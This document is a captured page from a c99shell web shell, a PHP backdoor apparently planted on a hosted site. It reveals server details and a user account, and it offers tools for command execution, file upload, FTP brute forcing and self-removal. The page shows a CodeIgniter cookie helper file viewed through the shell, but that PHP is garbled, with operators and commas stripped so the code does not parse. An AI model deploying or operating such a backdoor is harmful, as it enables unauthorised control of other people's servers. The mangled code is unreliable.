smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/home/necipbey/public_html/system/Helpers/   drwxr-xr-x
Free 3473.26 GB of 4265.01 GB (81.44%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     cookie_helper.php (3.14 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * This file is part of CodeIgniter 4 framework.
 *
 * (c) CodeIgniter Foundation <admin@codeigniter.com>
 *
 * For the full copyright and license information, please view
 * the LICENSE file that was distributed with this source code.
 */

use Config\App;
use 
Config\Services;

//=============================================================================
// CodeIgniter Cookie Helpers
//=============================================================================

if (! function_exists('set_cookie')) {
    
/**
     * Set cookie
     *
     * Accepts seven parameters, or you can submit an associative
     * array in the first parameter containing all the values.
     *
     * @param array|string $name     Cookie name or array containing binds
     * @param string       $value    The value of the cookie
     * @param string       $expire   The number of seconds until expiration
     * @param string       $domain   For site-wide cookie. Usually: .yourdomain.com
     * @param string       $path     The cookie path
     * @param string       $prefix   The cookie prefix
     * @param bool         $secure   True makes the cookie secure
     * @param bool         $httpOnly True makes the cookie accessible via http(s) only (no javascript)
     * @param string|null  $sameSite The cookie SameSite value
     *
     * @see \CodeIgniter\HTTP\Response::setCookie()
     */
    
function set_cookie(
        
$name,
        
string $value '',
        
string $expire '',
        
string $domain '',
        
string $path '/',
        
string $prefix '',
        
bool $secure false,
        
bool $httpOnly false,
        ?
string $sameSite null
    
) {
        
$response Services::response();
        
$response->setCookie($name$value$expire$domain$path$prefix$secure$httpOnly$sameSite);
    }
}

if (! 
function_exists('get_cookie')) {
    
/**
     * Fetch an item from the $_COOKIE array
     *
     * @param string $index
     *
     * @return mixed
     *
     * @see \CodeIgniter\HTTP\IncomingRequest::getCookie()
     */
    
function get_cookie($indexbool $xssClean false)
    {
        
$prefix  = isset($_COOKIE[$index]) ? '' config(App::class)->cookiePrefix;
        
$request Services::request();
        
$filter  $xssClean FILTER_SANITIZE_FULL_SPECIAL_CHARS FILTER_DEFAULT;

        return 
$request->getCookie($prefix $index$filter);
    }
}

if (! 
function_exists('delete_cookie')) {
    
/**
     * Delete a cookie
     *
     * @param mixed  $name
     * @param string $domain the cookie domain. Usually: .yourdomain.com
     * @param string $path   the cookie path
     * @param string $prefix the cookie prefix
     *
     * @see \CodeIgniter\HTTP\Response::deleteCookie()
     */
    
function delete_cookie($namestring $domain ''string $path '/'string $prefix '')
    {
        
Services::response()->deleteCookie($name$domain$path$prefix);
    }
}

if (! 
function_exists('has_cookie')) {
    
/**
     * Checks if a cookie exists by name.
     */
    
function has_cookie(string $name, ?string $value nullstring $prefix ''): bool
    
{
        return 
Services::response()->hasCookie($name$value$prefix);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0097 ]--